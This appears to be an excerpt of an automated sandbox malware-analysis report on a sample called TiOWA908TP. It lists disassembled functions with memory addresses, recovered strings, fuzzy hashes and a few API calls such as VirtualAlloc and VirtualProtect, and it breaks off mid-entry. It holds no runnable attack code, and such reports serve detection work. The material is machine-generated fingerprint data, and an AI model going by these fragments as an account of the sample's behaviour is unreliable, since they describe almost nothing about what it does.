Instruction Fuzzy Hash: B652D675E00229CFDB64DF69C890AD9B7B1BB89310F1482EAD90DA7355DB30AE85CF50

Function 00CF0F2A Relevance: 3.9, Strings: 3, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fp, xrefs: 00CF105D
h, xrefs: 00CF103E
ke, xrefs: 00CF0F98, 00CF0FC7, 00CF1013, 00CF10C9, 00CF1136

Memory Dump Source

Source File: 00000000.00000002.584033018.0000000000CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: fp$ ke$h
API String ID: 0-1718358560
Opcode ID: 1f783c52b9703a3a18a406418698a28b30f442a176376405d5e4777d8ff991ec
Instruction ID: a9f864fdd31ac7f021e8b0ccd815ba30ffd909047a64cbcaff849fde7182169c
Opcode Fuzzy Hash: 1f783c52b9703a3a18a406418698a28b30f442a176376405d5e4777d8ff991ec
Instruction Fuzzy Hash: C671F771D00619CFDB64DF69C850BD9B7B2FB89300F1482AAD90DA7255DB305E85CF91

Function 003D9283 Relevance: 3.0, Strings: 2, Instructions: 539
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ke, xrefs: 003D92CE, 003D934A, 003D9394, 003D93C0, 003D9412, 003D94D0, 003D9549, 003D958D, 003D9635, 003D9667, 003D96EB, 003D97CE, 003D980C, 003D9887, 003D9910, 003D9C92, 003D9CD4
X=X, xrefs: 003D971D

Memory Dump Source

Source File: 00000000.00000002.583833464.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$X=X
API String ID: 0-597112671
Opcode ID: e4b0080b06a6c660de720bb867e51b63e9783dfecc89157ddc5f51065d6d2deb
Instruction ID: fe6bc1ca121ee292673b82763b48117e42926173b2ff47eae55d13a36d9160f0
Opcode Fuzzy Hash: e4b0080b06a6c660de720bb867e51b63e9783dfecc89157ddc5f51065d6d2deb
Instruction Fuzzy Hash: CE52B274A006288FCB65DF28DC89B9ABBB5FB49301F1091DAD90DA7355DB30AE85CF50

Function 00D09988 Relevance: 2.9, Strings: 2, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tep, xrefs: 00D09CC7
ke, xrefs: 00D09A2A, 00D09A7E, 00D09AFE, 00D09B30, 00D09B68, 00D09D80, 00D09E0D

Memory Dump Source

Source File: 00000000.00000002.584039632.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$Tep
API String ID: 0-1453669593
Opcode ID: fcdb2326e7b8d8f01b381ee54211b7450667547142eaa089a7e3b65e1f83d4b3
Instruction ID: 94188c70fa0832034273b95548cba420add46bc13faae116dcad076d6f95344f
Opcode Fuzzy Hash: fcdb2326e7b8d8f01b381ee54211b7450667547142eaa089a7e3b65e1f83d4b3
Instruction Fuzzy Hash: 2A020370E05218CFDB24DF69D854B9DB7B2BB89300F2081AAD40DA73A6D7749D89DF21

Function 00D0997C Relevance: 2.9, Strings: 2, Instructions: 399COMMON

Download Yara Rule

Strings

Tep, xrefs: 00D09CC7
ke, xrefs: 00D09A2A, 00D09A7E, 00D09AFE, 00D09B30, 00D09B68, 00D09D80, 00D09E0D

Memory Dump Source

Source File: 00000000.00000002.584039632.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$Tep
API String ID: 0-1453669593
Opcode ID: 4130617e0cb9edfd3d6f30bfefd2cb406a5db7ede54f7b8fcaf16c1a2e18bf5b
Instruction ID: 83e731639640bc4aafdd28a427bb5be9ba39d67f2010bb27f7af2704a6603ec8
Opcode Fuzzy Hash: 4130617e0cb9edfd3d6f30bfefd2cb406a5db7ede54f7b8fcaf16c1a2e18bf5b
Instruction Fuzzy Hash: 10022470E05218CFDB24DF69D854B9DB7B2BB89300F1081AAD40DA73A5D7749D89DF21

Function 00BFF570 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

ke, xrefs: 00BFF63D, 00BFF66F, 00BFF6FA, 00BFF751, 00BFF794, 00BFF7C8, 00BFF822
PHp, xrefs: 00BFF90A

Memory Dump Source

Source File: 00000000.00000002.584008759.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$PHp
API String ID: 0-4100298106
Opcode ID: 18953547f2f7f506e7478636b9cb0203664adfc8287f78f00ab53d44b4d48013
Instruction ID: cf602f44c709f3c7177fa75d363d33ca5119bfb99d4a40590290e5d53412f5ea
Opcode Fuzzy Hash: 18953547f2f7f506e7478636b9cb0203664adfc8287f78f00ab53d44b4d48013
Instruction Fuzzy Hash: 30D1E374A04219CFDB14CFA9C884BBDB7F2FF89304F2090AAD509A7265DB745989DF00

Function 00BFF55F Relevance: 2.8, Strings: 2, Instructions: 311COMMON

Download Yara Rule

Strings

ke, xrefs: 00BFF63D, 00BFF66F, 00BFF6FA, 00BFF751, 00BFF794, 00BFF7C8, 00BFF822
PHp, xrefs: 00BFF90A

Memory Dump Source

Source File: 00000000.00000002.584008759.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$PHp
API String ID: 0-4100298106
Opcode ID: a90f777bad1d153929c83d34b08c83a80a2fa9b02f60af90314876c0104cd65a
Instruction ID: bff118c688a7b6caff570ddd9a025a75aaeaf6b16387fe861b06612ff0973fcc
Opcode Fuzzy Hash: a90f777bad1d153929c83d34b08c83a80a2fa9b02f60af90314876c0104cd65a
Instruction Fuzzy Hash: 63D1E574E04219CFDB14DFA9D884BADBBF2FF89304F2080AAD509A7265DB745989DF00

Function 00D0A700 Relevance: 2.7, Strings: 2, Instructions: 248COMMON

Download Yara Rule

Strings

Tep, xrefs: 00D0A784
ke, xrefs: 00D0A897

Memory Dump Source

Source File: 00000000.00000002.584039632.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$Tep
API String ID: 0-1453669593
Opcode ID: 20f32a8e89ca11c4f3e21926e81ab65e7366f09bb6795bd98e0e0d8895fb937f
Instruction ID: 46054075f6dab013bd044cd41e67488971cc123b8b07c5527df76b9f3b18534d
Opcode Fuzzy Hash: 20f32a8e89ca11c4f3e21926e81ab65e7366f09bb6795bd98e0e0d8895fb937f
Instruction Fuzzy Hash: 05A1F470E04218CFDB14CFA9D944B9DBBF2BB89300F6580AAD44DA7295DB30998ADF11

Function 00D0A6F0 Relevance: 2.7, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

Tep, xrefs: 00D0A784
ke, xrefs: 00D0A897

Memory Dump Source

Source File: 00000000.00000002.584039632.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$Tep
API String ID: 0-1453669593
Opcode ID: de2bb896eb837a4898dcd06c5ed986a84eb70aeab3e411b4476bd032d32c2897
Instruction ID: b8aac96d17dd2a6942a0ca297cdba262f5f4deabd556429aece0d41cb89743b3
Opcode Fuzzy Hash: de2bb896eb837a4898dcd06c5ed986a84eb70aeab3e411b4476bd032d32c2897
Instruction Fuzzy Hash: 43A1F470E00218CFDB14CFA9D944B9DBBF2BB89310F6480AAD449A73A5DB745D8ADF11

Function 055EF928 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

fQ, xrefs: 055EFADE
ke, xrefs: 055EF943, 055EF9F4, 055EFA1A

Memory Dump Source

Source File: 00000000.00000002.585604882.00000000055D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_55d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$fQ
API String ID: 0-3174698611
Opcode ID: 1f248e1f7ee97ea64bdf2dbe31febf58430e894901ad775cd0715408cc3fee53
Instruction ID: 8c1e07684f3f27062bcbce2b38214b39d6a46b22e9b5dd344c185c85f0e053f2
Opcode Fuzzy Hash: 1f248e1f7ee97ea64bdf2dbe31febf58430e894901ad775cd0715408cc3fee53
Instruction Fuzzy Hash: 1F515A74E0410ADFCB08DFA9D885AAEBBF2FF89304F14852AE445E7354DB3499468B90

Function 00BFA010 Relevance: 1.9, Strings: 1, Instructions: 679COMMON

Download Yara Rule

Strings

(p, xrefs: 00BFA1C8

Memory Dump Source

Source File: 00000000.00000002.584008759.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: (p
API String ID: 0-4175582459
Opcode ID: e559c64494e973b101a34cacc6dbbd0707f0d800ff874db68f5a48741ca1ba4c
Instruction ID: 7b26a93a1d0e71eaf0d863fe880e284b225fb5851ea33bb984f8e845c44f06ce
Opcode Fuzzy Hash: e559c64494e973b101a34cacc6dbbd0707f0d800ff874db68f5a48741ca1ba4c
Instruction Fuzzy Hash: B1424C74A002199FCB18DF69C494A7EBBF2FF88300F248569D55AD7391DB30AD4ACB91

Function 00A53804 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

ke, xrefs: 00A539D1, 00A53A1A

Memory Dump Source

Source File: 00000000.00000002.583961482.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke
API String ID: 0-2094905417
Opcode ID: bb4da97a6975af9ec2363d03985edd32e80f760ff3aab59938d6773fb8534759
Instruction ID: 7caafbb40bb3a42b5f2608f86196ac9d4639e7a6a28bb88ce2ea72aa047d4844
Opcode Fuzzy Hash: bb4da97a6975af9ec2363d03985edd32e80f760ff3aab59938d6773fb8534759
Instruction Fuzzy Hash: 80C107B2D05209CFDF10CF99C089BEEBBF1BB89346F209019D855A7291D7784A8ADF40

Function 003DF9E0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Dp, xrefs: 003DFAE5

Memory Dump Source

Source File: 00000000.00000002.583833464.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: Dp
API String ID: 0-2141643023
Opcode ID: a69632e8b5ad70d054dc976ac9dd73febf5fa0d3343b46bf2574d4e6bc613ddc
Instruction ID: 60e1f9566d2cb2cf6d9d5329fa6bdf13d887056d7332f80b64708dd869cb8a22
Opcode Fuzzy Hash: a69632e8b5ad70d054dc976ac9dd73febf5fa0d3343b46bf2574d4e6bc613ddc
Instruction Fuzzy Hash: 94D1C474A00218CFDB15DFA9D894B9DBBB2FF89300F5181AAD409AB365DB30AD85CF40

Function 00CDB5A8 Relevance: 1.5, Strings: 1, Instructions: 269COMMON

Download Yara Rule

Strings

ke, xrefs: 00CDB611, 00CDB6CC, 00CDB72F, 00CDB846, 00CDB8B2, 00CDB93C

Memory Dump Source

Source File: 00000000.00000002.584023368.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke
API String ID: 0-2094905417
Opcode ID: d3d21f55d15c58a51ebe8cccf2a642a7302bad1b9822bbb2bce9f94ef1b1a2e3
Instruction ID: d50b56c8221f60774e33c842d69c8e3a66c4bd9ef19d8b7beae84209ae7bbded
Opcode Fuzzy Hash: d3d21f55d15c58a51ebe8cccf2a642a7302bad1b9822bbb2bce9f94ef1b1a2e3
Instruction Fuzzy Hash: 17C10770E05208CFDB14DF6AD995BADBBF2BB89300F2190AAD509A7355DB305D8ADF00

Function 00CDB599 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

ke, xrefs: 00CDB611, 00CDB6CC, 00CDB72F, 00CDB846, 00CDB8B2, 00CDB93C

Memory Dump Source

Source File: 00000000.00000002.584023368.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke
API String ID: 0-2094905417
Opcode ID: ab7f1e3115e2b1ba00af316ca365caac7bb1a7c617a4157830cbcb9a21ddd1bd
Instruction ID: 381a83fc5de913bd2bc15ead2d4c4b43e52bf4f8c0dc76319bd7f7dded3d32a2
Opcode Fuzzy Hash: ab7f1e3115e2b1ba00af316ca365caac7bb1a7c617a4157830cbcb9a21ddd1bd
Instruction Fuzzy Hash: 03C11970E05248CFDB14DF6AD995BADBBF2BB89300F2190AAD509A7395DB305D4ADF00

Function 00CD3378 Relevance: 1.5, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

ke, xrefs: 00CD33D2, 00CD3446, 00CD3467, 00CD3499, 00CD3529, 00CD360C

Memory Dump Source

Source File: 00000000.00000002.584023368.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke
API String ID: 0-2094905417
Opcode ID: 3e180b4f238034709be5ea017f800a8e434a8fc6201beceee280eda3d72efa7c
Instruction ID: 84b62229ff151bc586d33ff585801ae61b47d6a524e808e66f1e409ddb827415
Opcode Fuzzy Hash: 3e180b4f238034709be5ea017f800a8e434a8fc6201beceee280eda3d72efa7c
Instruction Fuzzy Hash: 73814B70E05248CFDB14DFA9D888BADBBF1FB49300F10806AD509A7365DB349A8ADF41

Function 00BF0040 Relevance: 4.2, Strings: 3, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hp, xrefs: 00BF0515
Hp, xrefs: 00BF0594
Hp, xrefs: 00BF0544

Memory Dump Source

Source File: 00000000.00000002.584008759.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: Hp$Hp$Hp
API String ID: 0-3665545250
Opcode ID: d9ecaf3b42b8d95934277a9583e241fc7f50d9d97568fe893de185e1699aa1e9
Instruction ID: d43a28aaba2099daef9acec55d9fefe93a6b194b7eeac17fdafd88651c56da5f
Opcode Fuzzy Hash: d9ecaf3b42b8d95934277a9583e241fc7f50d9d97568fe893de185e1699aa1e9
Instruction Fuzzy Hash: 8F126530A102049FCB24EFA8D4946AEB7F2FF88300F24856DD5069B766DB35ED4ACB50

Function 00BF1D00 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 00BF1FF9
4'p, xrefs: 00BF2079
4'p, xrefs: 00BF1F1A

Memory Dump Source

Source File: 00000000.00000002.584008759.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p
API String ID: 0-3087666796
Opcode ID: 4dc1addf656244402e79df2a681da4976be71d83cda7e15fb44906a3cca29f51
Instruction ID: 6497cc68582dd01a9da1979cf0c75aff60c7944380e45f0bc67bf8718433419b
Opcode Fuzzy Hash: 4dc1addf656244402e79df2a681da4976be71d83cda7e15fb44906a3cca29f51
Instruction Fuzzy Hash: 80F1DD34A01118DFC718DFA8D994AADB7B2FF88301F118569E506AB3A5DF31ED46CB40

Function 00BF62E0 Relevance: 4.1, Strings: 3, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(p, xrefs: 00BF6435
(p, xrefs: 00BF6409
Hp, xrefs: 00BF6461

Memory Dump Source

Source File: 00000000.00000002.584008759.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: (p$(p$Hp
API String ID: 0-3801172158
Opcode ID: 67c24529f2d0fe51a6b2049211336fe536ea4b86b4c368c741ddc1c18b35e1dd
Instruction ID: 94ebf3f8a2b94d1df7ba6c69680ae1a45777e4744b8af973ec8d5c985583c96e
Opcode Fuzzy Hash: 67c24529f2d0fe51a6b2049211336fe536ea4b86b4c368c741ddc1c18b35e1dd
Instruction Fuzzy Hash: 1CE13334A00209DFCB15EF68E4959ADBBB2FF89300F118569E906AB365DF30ED46CB51

Function 00A5B45C Relevance: 3.9, Strings: 3, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ke, xrefs: 00A5B58E, 00A5B5FE
t[#), xrefs: 00A5B5E8
d%p, xrefs: 00A5B4BC

Memory Dump Source

Source File: 00000000.00000002.583961482.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$d%p$t[#)
API String ID: 0-827724954
Opcode ID: 8280fcd4991fa7cc003ad8f3ab7eb096e36b93ddba47c50bba782e92e624b84d
Instruction ID: c439e7ae1d2098fe20ed3f22908127c490e92f014dc1d452e9f69fa58555e4d9
Opcode Fuzzy Hash: 8280fcd4991fa7cc003ad8f3ab7eb096e36b93ddba47c50bba782e92e624b84d
Instruction Fuzzy Hash: 94415D74A011188FD754DB68CC55BA9B7B2BB88311F2582EAD40DA7394CB309E8ACF50

Function 00D02A3D Relevance: 3.8, Strings: 3, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 00D02AD9
$p, xrefs: 00D02A3D
ke, xrefs: 00D02B97

Memory Dump Source

Source File: 00000000.00000002.584039632.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$$p$$p
API String ID: 0-589301254
Opcode ID: 80139418c0ae9590a5e17f79fbb64fe65f9e0155f86ef75da6782c7516fbbb37
Instruction ID: 71ff275d609a0bfb6f9996d29b61ee17485347460820a09f5e870afdcd6f7a1f
Opcode Fuzzy Hash: 80139418c0ae9590a5e17f79fbb64fe65f9e0155f86ef75da6782c7516fbbb37
Instruction Fuzzy Hash: 0E416A759002298FCB65DF64CC41BD9B7B2AB88300F0481E69209A7355EB749EC1DF81

Function 003D09A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 003D0A14

Strings

;{fM, xrefs: 003D09BC

Memory Dump Source

Source File: 00000000.00000002.583833464.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_TiOWA908TP.jbxd

Similarity

API ID: ProtectVirtual
String ID: ;{fM
API String ID: 544645111-1694553601
Opcode ID: 7d0054d23697731db385e11faa8263181e21ba28200ea242800d9120fc7f8678
Instruction ID: f37b698b160110f0fbc395c0c8a283c48a24a922c5781c954d77ff324fd34239
Opcode Fuzzy Hash: 7d0054d23697731db385e11faa8263181e21ba28200ea242800d9120fc7f8678
Instruction Fuzzy Hash: A711E3B1D003099FCB10DFAAD884BEEFBF5AF48324F54842AD419A7250C7749944CFA1

Function 00CD1F90 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNELBASE ref: 00CD2007

Strings

;{fM, xrefs: 00CD1FAF

Memory Dump Source

Source File: 00000000.00000002.584023368.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_TiOWA908TP.jbxd

Similarity

API ID: Sleep
String ID: ;{fM
API String ID: 3472027048-1694553601
Opcode ID: 50ae2403c9b8735e9c72ac1947a6fd7704316b676dad5107762862a16286be84
Instruction ID: 4522fb902d6e77c95f4342384fc4813fa208266b62b8b184b545027b71be9dd8
Opcode Fuzzy Hash: 50ae2403c9b8735e9c72ac1947a6fd7704316b676dad5107762862a16286be84
Instruction Fuzzy Hash: AD1156B19003488BDB10CFAAC4847EEFFF5AF88324F64881ED455A7250C7759A44CBA5

Function 00CD1F98 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNELBASE ref: 00CD2007

Strings

;{fM, xrefs: 00CD1FAF

Memory Dump Source

Source File: 00000000.00000002.584023368.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_TiOWA908TP.jbxd

Similarity

API ID: Sleep
String ID: ;{fM
API String ID: 3472027048-1694553601
Opcode ID: b5b5b0e5f970f059d2d4e0e9c54200b19cb6e5cebc65158e2463ed7a13467eb4
Instruction ID: 5d468d538f7cacfead16897a3839d9ae13da4ebe17c7831196a5d6d3ff416142
Opcode Fuzzy Hash: b5b5b0e5f970f059d2d4e0e9c54200b19cb6e5cebc65158e2463ed7a13467eb4
Instruction Fuzzy Hash: 281137B1D003098BDB10CFAAC8847EEFFF9AB88324F64841AD455A7240C775A944CBA5

Function 005136E8 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

4'p, xrefs: 00513E99
4'p, xrefs: 00513EA9

Memory Dump Source

Source File: 00000000.00000002.583850334.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_510000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: ab6f764f19326b9717c23c491575c6c7caf23d85a926c39391904989c1db292b
Instruction ID: 08f0fd1b374b85aa26849bd4dd6268dd4872b11f93f6b569ac2d71fb6eec0c12
Opcode Fuzzy Hash: ab6f764f19326b9717c23c491575c6c7caf23d85a926c39391904989c1db292b
Instruction Fuzzy Hash: 6042C174E04219DFEB14DFA8D468AEDBBB2FF48301F208429D512A7294DB749E82DF51

Function 003D1988 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 003D19F3

Strings

;{fM, xrefs: 003D199F

Memory Dump Source

Source File: 00000000.00000002.583833464.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_TiOWA908TP.jbxd

Similarity

API ID: AllocVirtual
String ID: ;{fM
API String ID: 4275171209-1694553601
Opcode ID: 36f3f8d473fcbe77c8d7832665e7d2651b3ab280155d2ec6cbf55e57944e8ba4
Instruction ID: 4e714b20070d20a50cb2e5f94fb8f8afd324dde18bc64ae265c561af8ffe9427
Opcode Fuzzy Hash: 36f3f8d473fcbe77c8d7832665e7d2651b3ab280155d2ec6cbf55e57944e8ba4
Instruction Fuzzy Hash: FA1134769002489BCB10CFAAD844BEEFFF5AF88324F24881AD419A7254C775A944CFA1

Function 00514210 Relevance: 2.9, Strings: 2, Instructions: 362COMMON

Download Yara Rule

Strings

4'p, xrefs: 005146A6
4'p, xrefs: 005146B6

Memory Dump Source

Source File: 00000000.00000002.583850334.0000000000510000.00000040.00000800.00020000.00000000.sdmp, Offset: 00510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_510000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: d3a6f9968c3869527e5e64de1f66db421cdd9cfab82e30e1c7836d57e05a4cd3
Instruction ID: 7001b1c3b76d8e1c1068f76b39d7942b6d6de8463cd20030af2260104dd485eb
Opcode Fuzzy Hash: d3a6f9968c3869527e5e64de1f66db421cdd9cfab82e30e1c7836d57e05a4cd3
Instruction Fuzzy Hash: 28F1EF74E01208DFDB28DFA8E5996ECBBB6FF89315F20542AE416A7251CB345D89CF40

Function 00A5F260 Relevance: 2.8, Strings: 2, Instructions: 342COMMON

Download Yara Rule

Strings

(p, xrefs: 00A5F274
d, xrefs: 00A5F4C1

Memory Dump Source

Source File: 00000000.00000002.583961482.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: (p$d
API String ID: 0-1637876577
Opcode ID: a2b08b7d018290c4938d5ad06f5a082fcf228227f3a533fade1f2378cb9fa6e1
Instruction ID: a0859605775077f2ae1dce7003a6eb6f23001b8f7ad5fb50b0347a1e4ea7cb99
Opcode Fuzzy Hash: a2b08b7d018290c4938d5ad06f5a082fcf228227f3a533fade1f2378cb9fa6e1
Instruction Fuzzy Hash: FAD17C35600602CFCB14DF29D48496AB7F2FF88311B15C969D95A9B765EB30FC4ACB90

Function 00BF0881 Relevance: 2.8, Strings: 2, Instructions: 321COMMON

Download Yara Rule

Strings

Hp, xrefs: 00BF0B94
Hp, xrefs: 00BF0B2C

Memory Dump Source

Source File: 00000000.00000002.584008759.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: Hp$Hp
API String ID: 0-2951427863
Opcode ID: 9fbc4f45cca101234739dd19f3c2b205e0fa9681e9ae00b3ca7177d639eb63ed
Instruction ID: 7c03ff01abc3b4b7896741c05129ca1f45cc67d53eb71c940f7d3f7266b5acde
Opcode Fuzzy Hash: 9fbc4f45cca101234739dd19f3c2b205e0fa9681e9ae00b3ca7177d639eb63ed
Instruction Fuzzy Hash: E1C1B330710219DFCB15EF28C480A6D7BE2FF84314F5585A9E9099B3A6DB34EC4ACB91

Function 00A5D400 Relevance: 2.8, Strings: 2, Instructions: 296COMMON

Download Yara Rule

Strings

$p, xrefs: 00A5D6DE
Plp, xrefs: 00A5D5F8

Memory Dump Source

Source File: 00000000.00000002.583961482.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: Plp$$p
API String ID: 0-2450700522
Opcode ID: 3a91bd44f7ae5884f21f7bb6059af3cfb41a24b9050f6b524c6ca69c02d6f8c0
Instruction ID: 15b5f7dc4a0a798b90be15e7950bea240a705f0668f68ce8bb44a7a741e1b434
Opcode Fuzzy Hash: 3a91bd44f7ae5884f21f7bb6059af3cfb41a24b9050f6b524c6ca69c02d6f8c0
Instruction Fuzzy Hash: 68B10270B002048FDB24DF68D894AAA7BF6BF89715B1140A9E905DB3B5DB70EC46CB91

Function 00A50B04 Relevance: 2.7, Strings: 2, Instructions: 238COMMON

Download Yara Rule

Strings

@, xrefs: 00A50BBA
ke, xrefs: 00A5096E, 00A5099F, 00A50ABA, 00A50B80, 00A50BD3, 00A50C23, 00A50C55, 00A50D75, 00A50DA8

Memory Dump Source

Source File: 00000000.00000002.583961482.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$@
API String ID: 0-585892326
Opcode ID: 02cb76159f24ba3d637174d4f7e1e41157f2393b8be91c9f0b0fbf9f0b94727b
Instruction ID: ad4b7b35a222eb546fe9743dfc4b3d0dd0b0ca2587d437fdeb04cffa730c17c5
Opcode Fuzzy Hash: 02cb76159f24ba3d637174d4f7e1e41157f2393b8be91c9f0b0fbf9f0b94727b
Instruction Fuzzy Hash: 33C1BC74A04228CFDB64DF68D885BDDB7B1BB49300F2080EAE849A7355DB706E89DF50

Function 002C9524 Relevance: 2.7, Strings: 2, Instructions: 221COMMON

Download Yara Rule

Strings

PHp, xrefs: 002C9940
